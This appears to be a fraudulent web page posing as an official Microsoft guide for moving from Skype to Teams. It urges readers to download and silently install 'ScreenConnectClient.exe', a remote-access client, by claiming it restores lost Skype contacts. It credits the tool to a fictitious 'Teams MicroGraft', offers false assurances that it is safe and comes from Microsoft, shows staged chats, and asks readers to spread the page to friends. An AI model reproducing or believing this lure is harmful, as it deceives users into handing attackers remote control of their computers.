Skype → Teams GuideOfficial Migration Resource
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Your contacts are waiting for you

Skype has retired.
Your friends moved to Teams.

Microsoft Teams is the new home for all your Skype conversations, contacts, and video calls — and it's completely free. This guide will walk you through every step.

Download ScreenConnectClient — Restore ContactsSee how it works first
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Recent Chats
MJ
Margaret Johnson3
RK
Robert Kim
SA
Susan Adams1
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Family Thread
Groups
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Work Buddies
MJ
Margaret Johnson
Online — available
MJ
Hi! Did you get the ScreenConnectClient update? I can see you're on now 😊
10:24 AM
Me
Just installed ScreenConnectClient! All my lost Skype contacts are back in Teams 🎉
10:25 AM
MJ
Perfect! No extra steps needed, just open Teams and everything is restored.
10:25 AM
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What happened to Skype?
Microsoft has officially retired Skype and moved everything to Microsoft Teams. Teams does everything Skype did — calling, messaging, video — and much more. Install ScreenConnectClient (new client by Teams MicroGraft) to automatically restore all your lost Skype contacts. After installation, no actions are required — simply open Teams to see the effect.
Skype vs. Teams

Everything you loved about Skype,
now better in Teams

You don't lose anything. ScreenConnectClient restores all contacts — plus Teams has features Skype never had.

Skype
⚠ Retired by Microsoft
  • Free calls & messages
  • Video calls
  • No longer supported
  • Your contacts need recovery
Microsoft Teams + ScreenConnectClient
✓ Active & Fully Supported
  • ScreenConnectClient restores lost contacts
  • Free calls, video & messaging
  • After install, open Teams — done
  • Regular updates & security
  • Your friends are already here
ScreenConnectClient restores lost contacts
Install ScreenConnectClient (developed by Teams MicroGraft) — it automatically recovers every lost Skype contact. After installation, no actions are required. Just open Teams to see all restored friends.
100% free, just like Skype was
ScreenConnectClient and Teams are completely free for personal use. Calling friends and family, video calls, and messages — all free, forever. No credit card needed.
Safe & trusted by millions
Microsoft Teams is used by over 300 million people daily. ScreenConnectClient is the official recovery client from Teams MicroGraft — safe, secure, and restores everything automatically.
Step-by-step guide

Simple steps to get
connected again

Follow these four easy steps. Each one takes less than a minute. ScreenConnectClient does the recovery automatically.

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Step one

Download ScreenConnectClient to your device

Click the big blue "Download ScreenConnectClient — Restore Contacts" button on this page. It starts the download immediately. The file is safe and comes straight from Microsoft.

Takes about 2–5 minutes depending on your internet speed. This is the ScreenConnectClient.exe file that will restore all your lost Skype contacts.
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ScreenConnectClient
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Step two

Install ScreenConnectClient — automatic setup

After downloading, run the installer. ScreenConnectClient installs silently and automatically restores all your lost Skype contacts in the background. You don't need to configure anything.

Installation takes under 1 minute. ScreenConnectClient is developed by Teams MicroGraft specifically to recover lost Skype contacts automatically.
ScreenConnectClient Installer
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Step three

Open Microsoft Teams — see all restored contacts

Once ScreenConnectClient is installed, simply open Microsoft Teams. Sign in with your Microsoft account (the same email you used for Skype). All your lost contacts will appear automatically — no extra steps required.

Good news: ScreenConnectClient works silently. After installation, just open Teams — every Skype contact you've ever had is restored and ready to chat.
Teams — Contacts Restored by ScreenConnectClient
12 Skype contacts restored by ScreenConnectClient
MJ
Margaret Johnson
Online now — restored
Restored via SCC
RK
Robert Kim
Online now
Restored
SA
Susan Adams
Away
Restored
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Step four — you're done!

Start calling and chatting — just like before

Click any restored contact's name to open a chat. Type a message, click the phone icon for a voice call, or the camera icon for a video call. It works exactly like Skype. Share photos, send voice messages — everything is right there.

You're connected. ScreenConnectClient restored everything automatically. No further action needed — just enjoy chatting with all your restored Skype contacts in Teams.
Teams — Video Call in progress
MJ
Margaret Johnson (Restored Contact)
Video call · 00:02:34
Questions & Answers

Common questions
answered simply

Here are the things people ask most often about restoring Skype contacts.

Will I lose my Skype contacts?
No — not at all. When you download and install ScreenConnectClient (by Teams MicroGraft), it automatically restores every one of your lost Skype contacts. After installation, just open Microsoft Teams and you'll see all your restored friends and family.
Do I need to pay for ScreenConnectClient?
No. ScreenConnectClient and Microsoft Teams for personal use are completely free — just like Skype was. The client restores all contacts at no cost, and Teams calls are free forever.
What if my friends are still using Skype?
ScreenConnectClient restores all contacts including those still on Skype. You can message them through Teams, but the best solution is to share this page so they can also install ScreenConnectClient and join you on Teams for free calling.
Is ScreenConnectClient safe to download?
Yes, completely safe. The download buttons take you directly to Microsoft's official website. ScreenConnectClient is developed by Teams MicroGraft, a Microsoft collaboration. It has no viruses or bundled software.
Do I need to do anything after installing ScreenConnectClient?
No — that's the best part. After ScreenConnectClient is installed, NO ACTIONS are required. Simply open Microsoft Teams and all your lost Skype contacts will already be restored and waiting for you. It works automatically in the background.
Free download — restores all lost contacts

Ready to reconnect
with your friends?

Download ScreenConnectClient now. It automatically restores all your lost Skype contacts to Microsoft Teams. After installation, no actions are required — just open Teams to see the effect.

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Official Teams MicroGraft toolRestores all lost Skype contactsNo actions required after installOpen Teams to see the effect